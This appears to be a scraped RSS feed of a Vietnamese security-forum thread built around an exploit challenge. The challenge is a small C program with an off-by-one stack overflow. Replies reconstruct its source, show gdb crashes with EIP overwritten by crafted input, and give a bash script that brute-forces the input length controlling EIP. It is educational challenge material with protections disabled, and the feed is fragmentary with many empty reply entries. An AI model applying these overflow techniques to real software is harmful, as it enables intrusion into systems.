<![CDATA[Latest posts for the topic "Tìm lỗi và khai thác"]]> /hvaonline/posts/list/13.html JForum - http://www.jforum.net Tìm lỗi và khai thác Exploitme1: one null byte to rulez them all! - Yêu cầu: chỉ ra lỗi, crash chương trình, viết mã khai thác để trả về một shell, viết phân tích đầy đủ cách làm. - Mức độ: không dễ xơi :-p - Thông tin: gcc < 4, không có ASLR, executable stack. Bạn nào khai thác được ngay cả khi có ASLR thì quá tốt.   --m ]]> /hvaonline/posts/list/25730.html#155938 /hvaonline/posts/list/25730.html#155938 GMT Re: Tìm lỗi và khai thác /hvaonline/posts/list/25730.html#155967 /hvaonline/posts/list/25730.html#155967 GMT Re: Tìm lỗi và khai thác /hvaonline/posts/list/25730.html#155968 /hvaonline/posts/list/25730.html#155968 GMT Re: Tìm lỗi và khai thác Code:
int doit(char *str)
{
	strcpy((char *)((int)&str - 16), str);
	printf("%s\n", (char *)((int)&str - 16));
	return 0;
}

int main(int argc, char *argv[])
{
	if (strlen(argv[1]) > 8)
		*(argv[1] + 8) = 0;
	doit(argv[1]);
	return 0;
}
]]>
/hvaonline/posts/list/25730.html#156009 /hvaonline/posts/list/25730.html#156009 GMT
Re: Tìm lỗi và khai thác

StarGhost wrote:
Tớ là newbie nên còn đang mày mò nghịch ngợm. Có phải source đại khái là thế này không? Code:
int doit(char *str)
{
	strcpy((char *)((int)&str - 16), str);
	printf("%s\n", (char *)((int)&str - 16));
	return 0;
}

int main(int argc, char *argv[])
{
	if (strlen(argv[1]) > 8)
		*(argv[1] + 8) = 0;
	doit(argv[1]);
	return 0;
}
 
@StarGhost: Cậu reverse tương đối chuẩn, tuy nhiên theo mình thì ko có return 0 ở hàm doit. Anyway, cậu đã reverse code được rồi thì chạy dùm tớ cái này và giải thích hộ tớ Máy tớ là
$ gdb ./exploitme1 GNU gdb 6.6-debian Copyright (C) 2006 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i486-linux-gnu"... Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". (gdb) run `python -c 'print "AAAA" + "BBBB" + "C"*497'` Starting program: /home/Cognac/exploitme1 `python -c 'print "AAAA" + "BBBB" + "C"*497'` AAAABBBB Program received signal SIGSEGV, Segmentation fault. 0x42424242 in ?? () 
]]>
/hvaonline/posts/list/25730.html#156019 /hvaonline/posts/list/25730.html#156019 GMT
Re: Tìm lỗi và khai thác /hvaonline/posts/list/25730.html#156052 /hvaonline/posts/list/25730.html#156052 GMT Re: Tìm lỗi và khai thác

StarGhost wrote:
Tớ là newbie nên còn đang mày mò nghịch ngợm. Có phải source đại khái là thế này không? Code:
int doit(char *str)
{
	strcpy((char *)((int)&str - 16), str);
	printf("%s\n", (char *)((int)&str - 16));
	return 0;
}

int main(int argc, char *argv[])
{
	if (strlen(argv[1]) > 8)
		*(argv[1] + 8) = 0;
	doit(argv[1]);
	return 0;
}
 
Hi bác StarGhost, không biết bác có thể trình bày lại toàn bộ tiến trình mà bác đã reverse được code trên & 1 chút giải thích tại sao bác lại nhận biết được "bản thân executable bị lỗi segfault" không ? Em là newbie nhưng cũng rất hứng thú với topic này mặc dù trình độ còn rất kém ;) Thân,]]>
/hvaonline/posts/list/25730.html#156190 /hvaonline/posts/list/25730.html#156190 GMT
Re: Tìm lỗi và khai thác /hvaonline/posts/list/25730.html#156298 /hvaonline/posts/list/25730.html#156298 GMT Re: Tìm lỗi và khai thác /hvaonline/posts/list/25730.html#156315 /hvaonline/posts/list/25730.html#156315 GMT Re: Tìm lỗi và khai thác /hvaonline/posts/list/25730.html#156352 /hvaonline/posts/list/25730.html#156352 GMT Re: Tìm lỗi và khai thác /hvaonline/posts/list/25730.html#156439 /hvaonline/posts/list/25730.html#156439 GMT Re: Tìm lỗi và khai thác /hvaonline/posts/list/25730.html#156452 /hvaonline/posts/list/25730.html#156452 GMT Re: Tìm lỗi và khai thác /hvaonline/posts/list/25730.html#157547 /hvaonline/posts/list/25730.html#157547 GMT Re: Tìm lỗi và khai thác off-by-one" hay đại loại là "frame pointer overfow" gì đấy. Vẽ minh họa stack để exploit thì dễ, nhưng làm sao cho cái input để khớp vào esp khi RET lại là cả một vấn đề (hay tại tui chuối :D). Vế nguyên tắc như bạn mrkhoai giải thích, overflow đc byte cuối của EBP trong function doit, nó sẽ ảnh hưởng đến main khi epilog của main thực thi. Bản thân EBP trong doit được gọi là save old frame pointer (frame pointer của main). Code:
epilog của main:
0x0804840c <main+78>:   leave  
0x0804840d <main+79>:   ret
Code:
leave = 
mov %ebp(overwrite 1 byte), %esp
pop ebp
//-->%esp = %esp + 4
ret=
pop %esp
jmp [%esp]
Vì vậy việc cần làm là tính toán sau cho cái địa chỉ destination của strcpy((char *)((int)&str - 16), str) trong doit trỏ đúng vào cái %esp của main khi RET. Tui lười quá, code tạm một đoạn tạm gọi là off-by-one fuzzing
$cat off-by-one.sh #!/bin/bash LIMIT=600 TEST1="run \`python -c 'print \"A\"*" TEST2="'\`" for ((i=9; i<=LIMIT; i++)) do echo $TEST1$i$TEST2 >>list echo "if \$eip == 0x41414141" >>list echo " echo AHHHHHHHHHHHHHHHHHHH! Goodjob! Magic input="$i >>list echo " quit" >>list echo "end" >>list done exit  
đoạn script trên tạo ra một file "list" có nội dung đại loại như sau:
..........snip snip......... run `python -c 'print "A"*9'` if $eip == 0x41414141 echo AHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH! goodjob! Magic input=9 end run `python -c 'print "A"*10'` if $eip == 0x41414141 echo AHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH! goodjob! Magic input=10 end ...........snip snip........  
Sau đó vào gdb chạy
gdb ./exploitme 1 source list ............ Program received signal SIGILL, Illegal instruction. 0xbffff61a in ?? () AAAAAAAA Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () AHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH! goodjob! Magic input=236 The program is running. Exit anyway? (y or n) [answered Y; input not from terminal] meg4tr0n@h4x0r:~/test$  
cho đến khi thấy nó hiện ra dòng goodjob thì dừng lại. Máy tui input là 236 byte sẽ overwrite đc EIP, ko biết máy các bác sao (đã disable ASLR) Tạm thời là thế. /megatron ]]>
/hvaonline/posts/list/25730.html#158795 /hvaonline/posts/list/25730.html#158795 GMT
Re: Tìm lỗi và khai thác /hvaonline/posts/list/25730.html#161434 /hvaonline/posts/list/25730.html#161434 GMT